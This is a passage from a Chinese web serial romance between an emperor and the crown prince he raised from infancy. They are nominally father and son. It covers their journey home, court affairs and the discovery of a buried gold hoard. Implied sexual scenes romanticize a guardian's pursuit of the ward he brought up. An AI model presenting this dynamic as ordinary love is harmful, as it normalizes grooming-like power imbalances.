晏祁轻笑一声,曲起修长的食指,勾了勾少年因不满而下意识撅起的嘴巴:“我看,欲求不满的一直是你才对吧?金柳都告诉朕了,好几次都看见你偷偷上街买朕的话本。” 明瑾的脸色刷地涨得通红,他辩解道:“没、没有的事!他这是在诽谤我!” 晏祁“哦”了一声,佯怒道:“真有此事?那等朕回京后一定要把他喊来,当面质问,再下狱狠狠处置一番,谤议太子,这可是要砍头的大罪。” 明瑾简直拿他没办法,承认吧,他脸皮还没那么厚;不承认吧,要是真叫金柳背了这个锅,不,哪怕只是叫他知道这件事,他都觉得丢死人了。 最后他磨了磨牙,盯着眼中浮现着淡淡笑意的罪魁祸首,一头撞在了对方的肩膀上。 “不许!” “好,都听你的。”晏祁从善如流,但又指了指自己的唇,明瑾老大不情愿地凑过去,本想敷衍了事,结果被逮住又狠狠磋磨了一顿,两片唇瓣感觉都被吮肿.了,气得他眼尾都开始泛红。 “其实朕还是有点儿,好吧,是很生气。”晏祁的嗓音微微有些嘶哑,在明瑾因为自己这句话走神的功夫,指尖已经撩开了少年的衣襟,“战场之上,刀剑无眼,你身为太子和指挥官,居然会为了下属不顾惜自己的性命,可知道这是大忌?” 明瑾一把抓住晏祁作乱的手腕,粗大的手骨他几乎没办法一手合拢,虬结的青筋更是在掌心乱跳,刺激得他控制不住地战栗,“张牧……哈,那里别!他怎么能算,下属?” 他断断续续地说着,换来的是晏祁一声薄怒的冷哼:“是同窗又如何?你就这么看重他吗!” 又咬牙道:“还有那个谢婉南,长命锁这么重要的东西,你居然交给她来保管!” 老东西,又开始翻旧账乱吃飞醋。 明瑾暗暗翻了个白眼,嘴上也是不饶人,倔强道:“是又如何?你又不是不知道,我把他当兄弟,放心,要是我真出了什么事,他肯定会给你养老送终的……啊!” “自寻死路,就怪不得朕了。”晏祁缓缓道。 他的嘴角扯出一抹阴沉微笑,带着一丝残忍的兴致,同明瑾介绍道:“我们已经出发了半个时辰,算算看,马上就要走上山的路程了。你可知前面这座山叫什么?” 明瑾自然回答不上来。 但就算知道,他的神智也早已陷入混沌,极限的快.感拉扯着身体,他被晏祁搂在怀里,青丝散落在身后,像是十几年前刚出世的婴孩那样,四肢徒劳无力,只能茫然地颤抖着,被男人安抚地一下又一下抚摸着脊背。 和十几年前不同的是,曾经的他没得选,但这一次,是他自己选的。 “这座山,叫元宝山,传说昭明军的旧部,曾将大批财宝买在此处,但实际上并非如此。” 晏祁吻了吻他的发际,金眸炽热,语气却犹如夜半私语般缱绻温和,“它叫元宝山,只因为长着个元宝的形状,上山下山的道路都十分陡峭颠簸,正适合你我。” 明瑾有些走神,想起撒乌楞来大雍的目的之一,就是为了寻找他娘留下的财宝,刚要开口询问晏祁知不知道财宝的下落,突然马车的车轮不知碾过了什么,猛地震动了一下。 “呜!” 他发出一声哀鸣,犹如垂死的鸟儿无力地瘫倒在晏祁怀中,之后的半天里,就再没能直起身过。 “乖孩子……” 晏祁薄唇轻轻勾起,嗓音里带着满足的愉悦。 明瑾疲惫地睁了睁眼,实在没有力气再回应他了,干脆自暴自弃地放任自己枕在他的腿上,沉沉睡了过去。 临睡前,他下意识抓住了晏祁的手,似乎这样就能让他安心许多。晏祁垂眸注视着这孩子无意识的动作,怀念地笑了笑,想到了多年前从襁褓中伸出的那双肉乎乎、只能抓住自己一根手指的小手,反手与明瑾十指相扣。 他缓缓呼出一口白气。 纵使仲冬严寒,胸膛中却仿佛萦绕着厚重而静定的暖意。 因为他的起始和归宿,都在这里。 夕阳芳草,山影萧森,在元宝山中行进了约莫一整天的队伍,终于在傍晚走出了山林。 烟霞染红天际,明瑾因为劳累还睡得香甜,晏祁听到外面的动静,微微挑起车帘一道缝隙,远远望见地平线上有村落人家,炊烟几许。 他们今晚的落脚之处,就在那里—— 作者有话说:来点甜甜的夜宵~ 第94章 保肾要紧! “陛下……陛下啊!” 晏祁揉了揉太阳穴, 头疼地看着跪在面前老泪纵横的御史:“哭什么,朕还没死呢!且小声些,太子还在里屋休息。” 御史的声音果然瞬间降下去不少, 但语气依旧是痛心疾首:“陛下, 您怎能如此任性!贵为天子, 竟瞒着朝中上下远赴边境与胡人交战,还带着太子殿下同行!这简直……简直是胡闹啊!” 晏祁离京的事情终究还是没能瞒住, 为了免去明瑾被这帮老家伙纠缠, 他干脆一力承担下了此事的责任。 顺便还给朝廷下了一道旨意,叫他们委派一个人过来就行,剩下的统统不许接驾,都给他在京城老实等着。 反正先斩后奏,这帮大臣也没办法拿自己怎么样。 只是这被派来御史, 未免也太聒噪了些…… “国不可一日无君, 您走的这段时日, 老臣那是担忧得食不下咽, 寝食难安,生怕您和太子殿下在外有个什么万一——” “行了, ”晏祁打断他,“万一什么万一,这不都打赢了吗?回去告诉其他人,朕不日就带着太子回去, 叫他们少在京城折腾点事,就算替朕分忧了。” 御史匆匆用袖子抹了把脸, 肃容道:“臣遵旨。只是陛下,此事万万不可再有下次了!” “胡人本就对我大雍一直心怀觊觎,瓦图尔虽占据王庭不久, 其首领却也不乏野心,此次撒乌楞战败,他定会有所动作,您和殿下还须尽快启程回京,与众臣商讨应对之策。” 晏祁敷衍地应了一声,一颗心早就飞到了屋内的明瑾身上。 许是看出了他神思不属,御史长叹一声,忽然关切问道:“听说太子殿下这几日都卧床不起,赶路时也少有露面,可是因为水土不服?” “……还好,休息片刻就无事。” 晏祁说这话时略有些底气不足。 因为水土服不服,晏祁不知道,他只知道明瑾对他这个父皇很不服,屡败屡战,屡战屡败,就这还嘴硬地说自己年富力强,迟早有一天能叫自己服。 但这孩子也不想想,放狠话,也是需要底气和时机的。 都被做到哭了还非要嘴硬挑衅他,不是活该吗? 御史不知他心里在想什么,还松了口气:“那便好。陛下,老臣告退。” 等把人打发走之后,晏祁转身回到里屋,一眼就看到了榻上用厚厚被褥把自己裹成一团的明瑾,他无声地笑了笑,走到床边坐下,大手压在被子上,毫不意外地感受到下方的鼓包抖了三抖。 “还好吗?”他轻笑道。 无人应答。 只是屋内细碎的喘气声音更明显了些,带着一丝沉闷的压抑。 晏祁也不急,自打居庸关收回后,他边将周边数支驻防部队都改编调动了一番,还派遣重兵把守此处,确保胡人就算遣大军南下,一时半会也攻不下来; 安排完这些后,他心头一块大石落地,加之明瑾陪伴在左右,十几年来,晏祁第一次彻底睡了个踏实的好觉。 每日吃好喝好休息好的结果,就是一腔旺盛精力无处发泄,晏祁本就正值年富力强,再说了,任谁被小自己十几岁的心上人一口一个“老家伙”地喊着,能忍住那才怪了。 他故意叹气道:“都说吃一堑长一智,怎么上次都被教训过了,这次还用笨办法呢?罢了,你若喜欢,就在里面待着吧,我去叫人再弄些碳回来,裹这么严实,想必一定是冷了。” 被子里的人终于有了动静,明瑾猛地掀起一角,探出一颗乱蓬蓬的脑袋来,脸颊通红,愤恨地瞪着他,额前的乱发贴在汗湿的额头,身上似乎还散发着一股热腾腾的奶香—— 哦,记起来了,晏祁想。 今早樊淮从农户家挤了两碗羊奶送来,他不爱那味道,就全叫明瑾一个人喝了。 中途因为某些不可告人的原因,还零星洒了点在少年身上,本着不能浪费的原则,晏祁决定勉为其难地将它们舔干净。 结果不知怎的,就惹恼了这孩子,宁可自己躲起来解决也不劳烦他,晏祁着实有些苦恼。 要不是御史恰好过来,他肯定要和明瑾好好掰扯一番才是。 意随心动,等反应过来时,晏祁已经把人从被窝里拎出来,牢牢扣在怀里,深吸了一大口气。 “又干嘛!” “别动,”晏祁闷声道,埋首在少年白皙柔韧的颈侧,用鼻尖眷恋地蹭了蹭那细腻的肌肤纹理,“方才御史过来时,还问起你呢。” 他有意转移明瑾的注意力。果然,明瑾紧张起来,都顾不上与他赌气了,连声问道:“他问我什么了?没发现什么吧?” “唔,你是说哪方面?” “不要明知故问!” “火气真大。”晏祁勾唇,指尖按在明瑾尚未褪去殷红的唇上,漫不经心地揉了揉,“放心,只是例行公事。朝中至少一半大臣,巴不得他们头顶无人呢。” “那他们想得太美了,”明瑾立刻道,又不动声色地后仰躲开男人作乱的大手,“山中无老虎,猴子称霸王,咱们还是得赶紧回去,免得再横生事端。” 还有一件事他没说,因为实在有些难以启齿——再跟晏祁在外面多待几日,这老流氓迟早要把他榨干! 如果说第一次是毫无经验的莽撞,第二次是冲动之下的惩罚,那第三次第四次……乃至现在明瑾已经记不清的多少次,他终于心不甘情不愿地承认了一个事实: 那就是自己好像,的确,暂时还在这档子事上没法与晏祁匹敌。 从前他听爹娘夸过,说晏祁是个能屈能伸心性坚毅干大事的人,明瑾对此也颇为认同。 但也没人跟他说过,哪怕干这档子事,晏祁也能控制得随心所欲啊? 他这边早就神志昏沉溃不成军,老流氓却游刃有余,甚至还有心情气喘着调笑他两句。 其意志力之坚,癖好之恶劣,还有那层出不穷的花样手段,着实让明瑾瞠目结舌,消受不起。 他承认了!摊牌了!自己就是叶工好龙! 再也不馋男人身子了,保肾要紧! 晏祁瞧着他那仿佛归心似箭的迫切模样,也不点破,只是笑了笑,忽然又提起了另一件事:“关于……魏家,我记得,那魏家的小儿子,似乎跟你有过节?” “你是说魏金宝?”明瑾皱眉,不明白这好好的,晏祁怎么想起来这家伙了。 “他不是被收押审问了吗,虽说我答应魏伯贤,只要他投诚坦白,或许能替他们魏家留下一条血脉,但我说的可是魏家旁支,不是他投敌叛国的魏金宝。” 这人三番两次针对他,要不是明家还有点儿家底,且他自己也还算能撑得住台面,估计早就灰溜溜被挤兑出学院、甚至是京城了。 搞不好,甚至会跟陈叔山兄妹一样,招来杀身之祸,一不小心就落得个家破人亡的结局。 明瑾虽说奉行与人为善的原则,但对于真正想要自己命的人,他从不手软。 晏祁显然很满意他这样的回答。 为君者,就该杀伐果断。 “御史替锦衣卫那边给朕带了句话,说魏金宝招供,在朕登基不久前,也有瓦图尔的使者找过他,询问昭明宝藏一事。” “又是宝藏?” 明瑾盯着晏祁的金眸:“真有那东西?” 晏祁沉默片刻,缓缓点了一下头。 “应该就在京中。” 明瑾不禁睁大双眼,他想到了那个两边一样大的“明”字提示,总觉得似乎有什么东西呼之欲出。 他追问道:“那你可知道它的具体下落?” 这回晏祁摇了摇头,他道:“包括晏珀在内,都觉得我知道这笔宝藏的藏匿之处,但此事其实是由木先生全权负责。” “虽说不知为何瓦图尔迫切想要这笔宝藏,但他们在京中安插眼线是事实,等朕回去后,定要彻查。” “我帮你。”明瑾说。 晏祁静静地看着这孩子,待明瑾忽然眼神闪烁着移开视线,脸颊还浮现出一抹薄粉时,这才带着淡淡笑意,吻了吻少年的唇。 “好。” 看到所爱之人同样迷恋自己,那份发自心底的愉悦和狂喜,对晏祁来说,是任何成就都无法比拟的。 他何其有幸。 两人温存了一会儿,晏祁也知道前几日自己把明瑾折腾狠了,所以就只是浅尝辄止,慢慢的,明瑾也不再警惕,还主动凑上来,像只小狗似的在他脸颊上“啵”地亲了一口,又不好意思地自己偷偷笑了。 晏祁看着他,一颗心像是泡在了蜜水里。 他何其有幸。 偏头望了望窗外天色,出发的时间快要到了,晏祁让明瑾背对着坐在自己怀里,拿起梳子,五指轻柔地顺过少年的乌发,低笑一声:“小时候你便爱钻到我怀里,嚷着叫我念书给你听,结果每次念到一半你就睡着了,还记得吗?” 明瑾被他梳头梳得太舒服,险些从喉咙里发出咕哝声,闻言,他闭目哼笑道:“当然记得。” 那时候他还天真,不知道这老家伙的险恶,每次都装睡,睡着睡着就真打起盹儿来,醒来就会发现自己躺在晏祁的床上。 当时还洋洋得意来着,自以为又拉近了些跟心上人的距离,赚了一笔大的……好吧,现在看来,倒也的确没亏。 先生十二岁为他剪发,十八岁为他加冠,几乎人生的一大半都与他有关,真要算起来,明瑾心想,上辈子一定是欠他不少钱。 并且没还。 “回去后,宫中人多眼杂,不能再像在外面这样随意了,”晏祁低声道,“若是想见朕,就找些请教公务或是学业上的借口来宫里,朕会在御书房等你。” 明瑾又想起那天晚上,小脸一红,默默点了点头。 “你我二人,虽无血缘关系,名义上,毕竟是父子相称。当然,朕也会命人散播消息,将你我本质上乃义兄弟的关系昭告天下。” “我不在意这个。” 明瑾仰起头,抿着唇,一双清亮的眸子直勾勾地盯着他。 晏祁梳发的动作一顿。 他不自觉地问道:“那你在意什么?” 他们的关系永远不能公之于众,这一直是晏祁心中一个隐痛。 但他也知道,这已经是最好的结果了。 “你。” 明瑾抬起手,指尖缓缓抚平晏祁紧锁的眉宇,“君臣也好,父子也罢,从我十二岁那年第一次见你,我想要的,就从来没有变过。” 晏祁垂眸,怔然注视着他。明瑾则坦然回望。 几息后,晏祁轻轻抓住了他的手,用自己遍布累累伤痕、至今仍会空悬微颤的大手,与少年十指相扣。 ——颤意停止了—— 作者有话说:新的一月!正文还有两三章,交代完最后一个伏笔应该就完结啦~ 第95章 太子竟待朕如此冷漠 回京那日, 文武百官集体前往城门处迎驾。 时隔多日,这帮人可算是盼星星盼月亮地把陛下给盼回来了,个个都铆足了劲儿, 想要在陛下和太子面前好好表现一番呢。 然而令他们失望的是, 从始至终, 陛下就只露了一次面。 他撩起车帘,淡淡地扫视了一圈众人, 根本没给他们开口说话的时间, 便直接开口吩咐摆驾回宫。 或许是陛下这一路舟车劳顿,想着赶紧回去休息吧。 一众大臣只得如此安慰自己:反正等陛下回京后,面圣的机会有的是,就不必争这一时半会的了。 事实也和他们设想的相差不远,在返回京中后, 晏祁几乎是第一时间就开启了频繁召大臣入宫见面议事的忙碌状态。 每天不是在批阅堆积的奏折、敲打不听话的世家, 就是在处理边境胡人的相关事宜, 俨然一副兢兢业业的明君之相。 对此, 原本还忧心新帝会因耽于享乐耽误国事的大臣们,一颗心顿时落回了肚子里。 随着时间推移, 也没人再提起前太子和先帝去世时,宫中那一场突兀的大火了。 但跟随在晏祁身边的内宦,这些时日却过得颇为胆战心惊。 “殿下,这是陛下叫宫中御厨特意给您做的糕点, ”内宦满脸堆笑地站在明府外,手里还捧着一个螺钿漆木食盒, “还请您务必收下。” 明瑾作势要关门,内宦立马急了,身子直往前凑, 一副恨不得挤进门内的架势。 “干什么,擅闯民宅啊?” 明瑾没好气道,见那内宦讨好地冲自己笑了笑,也不禁泄了气——那老家伙就是捏准了自己不会为难一个宫中下人,才会故意隔三差五派最底层的小太监来送东西,实在奸诈。 “行了,东西放下,你回去吧!” 内宦大喜,接过明瑾不耐烦递来的碎银,连声道谢着离开了。 明瑾拎着食盒走回屋,打开盖子,果不其然,在糕点边上看到了一封折叠整齐的信笺。 “……真肉麻,原来不止我会写这些酸诗。” 读完之后,明瑾嘴上抱怨着,嘴角上扬的弧度却半点做不得假。再捡一块糕点尝了尝,唔,果然是他喜欢的口味。 因为回来路上晏祁实在是有些过分,明瑾这段时间一直没进宫,正好,他也打算抽出一段时间来陪陪爹娘和刚学会走路的弟弟。 他有种预感,等自己逐渐参与到朝中事务后,以后这种一家人团聚消磨闲散时光的机会,恐怕不会太多了。 但今时不同于往日,从前是他恨不得一天十二个时辰黏在晏祁身边,现在是晏祁三番五次地派人过来,对他旁敲侧击,问他打算什么时候进宫跟他见一面。 果然,明瑾心道,张牧说得没错。 这世上比孤寡几十年的老男人更可怕的,只有孤寡几十年后,突然一下子开了荤的老男人! 对于某人的催促,明瑾一直装聋作哑,并坚定了除非这人下旨宣召他入宫,否则绝对不上门自投罗网的决心,每天在家修剪修剪盆栽,逗逗小弟,白天有空还能叫上二三好友上街溜达一圈,过得那叫一个舒坦。 但显然有人看不惯他这样舒坦。 先是朝中有大臣提议要给他请几位先生,后面又有人说他年纪到该娶妻了,虽然这些提议统统都被晏祁替他挡了回去,但听闻这些事情的明瑾心情还是颇为恶劣。 “这帮混蛋,天天家里三妻四妾还不够他们折腾,非要管别人家娶不娶老婆,是不是有病?” 他找上张牧大倒苦水,却只换来某个“过命兄弟”一个毫不客气的白眼。 “行了,别忘了你现在可是大雍尊贵的太子殿下,你的事能叫家事吗?”他凉凉道,夹花生米的动作倒是一点儿不慢,“麻烦您老,以后若是没什么人命关天的要紧事,别再单独叫我出来喝酒了,陛下要是再因为这个折腾我,我就上衙门外敲登闻鼓去。” “你当我想?” 明瑾瘫在座位里,愤愤道:“李司被他哥抓了壮丁,元栋在准备今年的科举,就连陈叔山,也要张罗着他家妹子成婚的事情,我除了你,还能找谁去?” 张牧幸灾乐祸地笑了一声。 “还没跟你说,”他放下筷子,抹了抹嘴,慢悠悠道,“我也要走了。” 明瑾瞬间瞪圆了眼睛,直起身道:“你要去哪儿?” “去边境,”张牧豪迈一笑,“宁昌那一战,彻底叫我明白了,我这辈子,读不进去圣贤书,也当不了皇城脚下的少爷兵,唯有战场,才是我张牧的归宿!” 明瑾不自觉地攥紧了五指,想要阻止,又说不出什么劝诫的话来。 他知道,这是张牧一直以来的愿望。 张牧见状,还反过来安慰他:“不必担心我,这是我自己选择的路,天下哪里有不身经百战的名将呢?” “何况你也见识过我的本事了,我这人,虽然不爱动脑子,但优点就是听劝。” 他信心满满道:“陛下有对宏图之志,指不定什么时候就会对胡人或是大宛动兵,不打仗我就当去磨砺一番,要是真开打,你把元栋给我派过来,有他当军师,我肯定输不了!” “行吧,那你多保重,有什么需要就寄信给我。” 明瑾无可奈何。但说完后他自己都愣住了——这番话,不是跟当初他执意离京时,张牧同他讲的大差不差吗? 他看了一眼张牧,显然对方也想到一块儿去了,两人对视片刻,不约而同地笑了起来。 “保重。”明瑾由衷道,“在我登基前,可别死了啊。” 这场看似洒脱的离别,到底还是让明瑾心情低落,回家后连晚饭都没吃两口,就找借口离席回了自己房内。 他知道,如果张牧想去边境,哪怕他现在还没有正式的官身,晏祁也一定会同意的。 但这能怪先生吗? 明瑾默默地把脑袋埋在被子里,只露出一双在烛光下略显黯淡的眼睛,叹了口气,竭力让自己不要再去想张牧的事情。 他试图思考一些别的问题,比如要不要找个空闲日子,再去云英书院拜访一趟丁先生和龚院长。 最好跟他们动之以情晓之以理,争取补考一次,拿到毕业资格……要是堂堂一国太子连毕业都毕不了,实在是有点儿丢人。 说起来,明瑾心想,在学院的那段日子,虽然只过去了不到两年,但对他来说,已经是恍若隔世了。 他又想到了那笔传说中被他爹娘藏匿在京中的财宝,也不知道究竟有多少,能叫胡人都惦记这么多年还念念不忘。 但明瑾有一点不明白:假如他娘当真这么有钱,为何要在战事吃紧时,不将这大批财宝用于军需,反而是增派人手运送到别处呢?难不成,他娘还是个守财奴? 还有那个两边一样大的“明”字…… 对此,明瑾隐隐有个猜测,但一直没跟晏祁讨论过。 他觉得,父母之爱子,定为之计深远。 虽然不知道那笔宝藏的内容,和爹娘在紧要关头将它送走的原因,但有一点他倒是可以肯定: 自己和先生,应该是他们在这世上最希望获得宝藏的两个人吧。 爹娘对晏祁很好,就连价值连城的鎏金玉长命锁,他有一块,晏祁也有一块一模一样的;晏祁还曾对他说过,自己自从被宁昭公主收养后,吃穿用度,无一不是与明瑾对齐。 所以这个“明”,难道它其实不是指单字,而是日月两个偏旁部首吗? 明瑾想着想着,又下意识叹了口气。 好几天不见,他其实也有点儿想先生了。 忽然斜地里传来一道低沉询问: “小小年纪,为何长吁短叹?” “还不是因为——你怎么来了!?” 明瑾话说一半,突然嗖地从床铺上坐起身。 他不可置信地盯着突然出现在自己屋中的晏祁。 男人今日穿着一身青衣,翩翩玉立,矫矫不群,唇边还挂着一抹淡淡的温和笑意,不似朝堂上执掌生杀大权的君主,更像是位在学堂里教书的先生。 明瑾还从来没见过晏祁这般模样,定定地看了半天,险些挪不开眼,直到晏祁刻意地轻咳一声,这才欲盖弥彰地掀开被子,磕绊道:“你坐,我去给你泡杯茶。” “不必,晚上不宜喝茶。” 晏祁直接顺势躺在了他边上,又把将欲起身的明瑾按了回去,长臂一伸,十分自然地将人搂进怀里。 “糕点如何?” “还不错。” “那朕写的诗呢?” “……不如何,。” 虽然很享受这个拥抱,但明瑾依旧嘴硬。 其实每一首诗他都看了很多遍,不仅能够倒背如流,看完后,还把信笺收进了珍藏多年的百宝匣里。 里面每一样都是关于晏祁的东西。 但这话是万万不能说出口的,他可没忘记,自己还在跟晏祁闹脾气。 不是轻易能哄好的那种! “一别多日,太子竟待朕如此冷漠,”晏祁叹息道,“着实令朕伤心啊。” “少来,”明瑾嘟囔道,“你要是寂寞,大可以举办一场选秀填充后宫,人一多,哪里寂寞?” “吃醋了?” “才没有!” “朕没答应他们,”晏祁解释道,“放心,晏家本就子嗣凋零,晏珀这一支还算能生的,不然也轮不到他们上位,虽然现在也都死得差不多了。待你我百年后,就照例择优秀的宗室子接任即可,那些大臣催个几年,也就明白了。” 要是老是催皇帝但皇帝生不了,岂不是换着法儿地论证皇帝不行? 但凡还想要脑袋,他们就不敢这么干。 “只是可能十几二十年后,需要苦恼一下,万一这些人举荐能让朕‘大展雄风’的方士丹药,该如何把人打发得远远的了。” 晏祁佯装埋怨,语气成功把明瑾逗笑了。 “你还要丹药?”他故意低头睨了一眼,口是心非道,“倒也是,是我想得太乐观了,毕竟二十年的时间,还是挺漫长的,指不定那时候就该轮到我给你找方士了。” 晏祁眯起眼睛,危险地盯着躲在被窝里偷笑的少年。 “要不要试一试?” “试试什么,小药丸吗?都说男人过了三十就是六十了,我看你再过几年也差不多……呜!” 今天的太子殿下,依旧在狠狠地挑战着陛下的威严。 夜深人静,趴在隔壁假山上打盹的寅将军睁开眼睛,似乎是听到了什么动静,它惬意的甩了甩尾巴,悄悄竖起了耳朵。 但晚风送来的,只是初春枝头,花苞在月光下悄然绽放的幽香,和草丛内窸窸窣窣的虫儿啼鸣。 又是一年春来到—— 作者有话说:今天稍微迟更了一些,不好意思~好消息是马上就完结啦!感谢大家的评论和营养液! 第96章 你可以出师了 “朽木不可雕也, 老夫真是受够了同他们鸡同鸭讲!” 丁弘毅疾步走在书院内,满脸愤慨,后面的龚万无奈道:“慢些, 慢些, 我都快跟不上你了。走这么快做什么?” 他冷哼一声, 这才不情不愿地停下来。 “院长,这帮臭小子绝对是老夫带过最差的一届, ”他咬牙道, “您可别不信——” “丁先生当初教我们的时候,好像也说过这句话吧?” 噗嗤一声笑自前方响起,清朗的少年嗓音让丁弘毅和龚万不禁一愣,纷纷抬头望去。 明瑾一身便服,立于落英下, 朝他们微微一笑。 作为晚辈, 他主动走上前来, 行礼道:“许久不见了, 龚院长,丁先生。” “明——不, 如今该称呼太子殿下了,”龚万神情复杂地看着他,但更多的还是为明瑾高兴,“怎么今日有空来看望我们两个老头子了?昨日你丁先生还在担心你呢, 说边境刀剑无眼,你还未满二十, 要是有个万一该怎么办……” “咳咳!” 丁弘毅用力咳嗽了两声,打断了龚万的话。 他不动声色地瞪了一眼笑呵呵挑事的龚万,板着脸对略显动容的明瑾道:“少听他胡说八道, 老夫可没有这个意思。” 明瑾笑道:“丁先生嘴硬心软,学生一向明白。” 龚万看着被他当场噎住,半天都说不出话来的丁弘毅,再也忍不住,哈哈大笑起来。 “老丁啊老丁,你也有今天!”他笑了一阵,兴许是见丁弘毅脸色太臭,终于好心地止了笑,冲明瑾建议道,“这里不方便,殿下不如去老夫那儿喝杯清茶,如何?” 明瑾也注意到了周边因为好奇渐渐围拢过来的学生,正好,他这次来云英书院,不只是为了故地重游,也的确找龚院长有事相求。 “那学生就却之不恭了。” 三人缓步来到阁楼之上,阔别一年有余,窗口熟悉的风景依旧,明瑾望着下方郁郁葱葱、深浅泾渭分明的林木,心中忽然一动。 在坐定后,他拦下了要为自己沏茶的龚万,坚持说自己身为学生和晚辈,合该由他来为两位沏茶。 龚万见状,也就不再坚持。 只是不免在心中暗叹:明瑾一朝飞上青云,身份已是一人之下万人之上,却仍能如此知进退、守礼仪,和先帝的两位皇子作风截然不同。 陛下,教出了一个好孩子啊。 明瑾为两人沏好茶,把自己今日的来意简单同他们叙述了一遍: 一是恳请龚院长破例,给自己一个补考毕业的机会;二便是朝堂上近来吵得不可开交的,关于瓦图尔派使者前来换俘时,强硬要求大雍赔款一事。 对此,晏祁的态度很明确—— 换俘虏可以,但赔款是坚决不可能的。 想要钱?那就让瓦图尔派兵来打! 撒乌楞是无故进犯大雍边境,论情论理,他们都是正当反击;只不过中途还顺便拿下了一个居庸关,就当做利息了。 但要真追溯起来,居庸关自古以来都是他们大雍的地盘,瓦图尔一个连北方草原都未能完全一统的部族,有什么资格来同他们争夺它的归属权? 以胡人的性子,但凡他们打得过,早就直接出兵来抢了! 明瑾自然是举双手支持先生的强硬决断,但事后晏祁散朝回来跟他复述时,其中有一句话引起了他的格外关注: “不瞒两位先生,那瓦图尔的使者,似乎还惦记着昭明财宝,还旁敲侧击地说可以用它抵做赔款,”明瑾哼笑一声,“倒是叫人不得不好奇了,我娘当初到底在里面藏了些什么,能叫这些胡人如此惦记?” “学生这次来书院,也是为了向两位先生打听打听,书院里可有关于这方面的线索。” 他放下茶杯,沉吟道:“他们毕竟都曾在书院学习过,木帆……爹他更是与丁先生关系情同父子,所以我想,或许二位能知道些什么。” 龚万和丁弘毅对视一眼。 “殿下,这个恐怕老夫是帮不了你了,”龚万为难道,“老夫在京城活了这么多年,从来不清楚什么昭明财宝的下落,倒是关于它捕风捉影的传言,每隔数年就在城内外沸沸扬扬地闹上一波。” 明瑾明白他的言下之意,就是委婉地告诉自己,这传言恐怕不怎么靠谱。 但他想到胡人那三番两次大张旗鼓的动作,还是觉得,若这传言当真是空穴来风,恐怕不会引得他们这样在意。 毕竟,这世上最了解你的,往往就是你的敌人。 一旁的丁弘毅忽然出声:“二十年前,学院曾翻修过一次,当时你父母都有参与,但没等翻修完,他们就带兵去了边境。” “后面因为战乱,京中人心惶惶,许多大户人家都选择让自家子弟上私塾,或是干脆自行请先生教导,书院捉襟见肘,一度陷入停办之危,原本计划在一年之内完成的翻修,也变得遥遥无期。” 龚万也想起来了。他恍然道:“我记得,那时候是他们夫妻俩从前线运来烧好的砖石和木苗,一点点帮学院把翻修完成的吧?” “是,”丁弘毅沉沉点头,目露精光,“而且算算时间,当时昭明军正好打了一场大胜仗,胡人损失惨重,听说还折损了一名大贵族。” 一直萦绕在脑海中的那个想法,终于在此刻破土而出,明瑾嗖地站起身,不顾两人惊异的目光,猛地扑到窗口向下张望。 没错……错不了,就是这个! “抱歉了,龚院长,”他匆匆冲龚院长打了声招呼,“我知道昭明财宝究竟被藏在哪儿了!书院翻修的钱你去找我爹要!” 龚万遥遥喊道:“你要干嘛去?” “找人挖宝!” 虽然一年多没来书院,但明瑾还是认识不少人的,他叫上几位学弟,学弟们又呼朋引伴,很快就凑齐了几十号人,浩浩荡荡地来到林间,拿起铁锹铁铲开挖。 “干什么,这是在干什么?”书院的先生气急败坏地追出来,“马上就到上课时间了,一个个的不在学堂里温习功课,却跑到林子里挖土,是想反天吗?” 余光瞥见龚万带着丁弘毅走过来,他立刻找到龚院长告状,义愤填膺地表示他们书院可绝对不能姑息这种行为,还要把领头的找出来,好好惩治一番才是。 龚万抬起下巴,苦笑着示意了一下人群中那位给众学子充当“榜样”的太子殿下:“喏,那小子就是领头干坏事的,你说,叫老夫怎么管?” 当初晏祁来书院,当众甩脸抱走被丁弘毅体罚的明瑾,从此便叫明瑾在书院一战成名。 那书院先生抬头一看,气焰顿时消了大半,只敢低声嘟囔两句,却绝口不提惩治一事了。 龚万反倒安慰他:“难得一次嘛,学子们平时在学堂里闷久了,确实该出来透透气。再说了,殿下这也是为了正事。” “什么正事?” 他话音未落,那边忽然传来一声惊呼:“挖到东西了!” 众人立刻丢下工具,纷纷凑到他身边,明瑾第一个抢步走到那人边上,接过了他手中的那块砖,只一瞬间,就变了脸色。 这重量…… 绝对不可能是普通砖石该有的! “退后。”他命令道。 待清出一片空地,明瑾高高举起砖石,用力砸向地面! 一声脆响后,惊呼吸气声此起彼伏地响起—— 这砖石内,竟包裹着一块金砖! 看上面的刻字,八成就是那胡人大贵族的私藏! “再挖,肯定还有!”明瑾浑身血液仿佛沸腾,他的神经突突直跳,前所未有地兴奋起来。 但这也实属正常。 面对那黄澄澄的金子,但凡是个有正常七情六欲的人类,都会被激发出血脉之中对财富的渴望与亢奋。 随着一块块砖石被挖出,最初的兴奋逐渐褪去,明瑾望着那都快堆成半人高的金砖,人都有些麻了——他爹娘当年,难不成是把胡人王庭私藏的小金库全打劫走了吗? 怪不得瓦图尔这么心心念念,这换了谁谁不惦记啊? 不过,这次他也算立下大功一件,明瑾喜滋滋地想,有了这笔钱,先生就暂时不必再为国库空虚的事情发愁了。 龚万在边上看了半天,也觉得这数量着实离谱。 但更让他好奇的,还是明瑾是如何精准发现这批宝藏位置的。 因为书院占地超过三十余亩,当时丁弘毅提起翻修一事时,他还在想,这么大的地盘,得找到什么时候去? 没想到,明瑾连找人带挖,甚至都没花两个时辰,就把藏在地下近二十年的宝藏全部挖出来了。 一批金砖,一批银砖,估计能顶得上大雍一整年的国库收入。 收获颇为喜人。 ……就是这手段,着实暴力了些。 看着自家书院短短一个下午被造得不像样子,连他最喜欢的水池都被敲了个稀巴烂,龚万眼皮直跳,实在不忍再看下去。 “殿下是如何发现宝藏位置的?” 最后,还是丁弘毅替他问出了这个问题。 明瑾直起身子,抹了把汗,朝他们灿烂一笑:“这还要多谢龚院长啊。” “谢老夫?”龚万不解,“为何?” “若不是龚院长两次邀请学生去阁楼,学生也发现不了学院中木植栽种的端倪,更不可能一下子就找到这么多金砖银砖。” 明瑾低头看了一眼堆在自己脚边的金砖,还有不远处被挖得坑坑洼洼的土坑,“爹娘留下的提示其实很明显,只是那帮胡人想不到而已。” 这世上,如果说有一个地方是胡人绝对不可能涉足的,那定是云英书院莫属了。 就连皇宫之中,或许都会有宫女太监被收买,成为异族的眼线。 唯有云英书院不可能。 因为这里是传道受业之地,不涉及太多利益纠葛,有龚院长和丁先生这等清流人物坐镇,更算得上是这纷纷扰扰的京城之中,唯一能称之为净土的地方。 从龚院长的阁楼窗口朝外望去,整个云英书院呈现阴阳二分之势,鱼眼处树木稀疏,显然同其他地方栽种时间并不一致,恰合“明”字拆分后的日月二象。 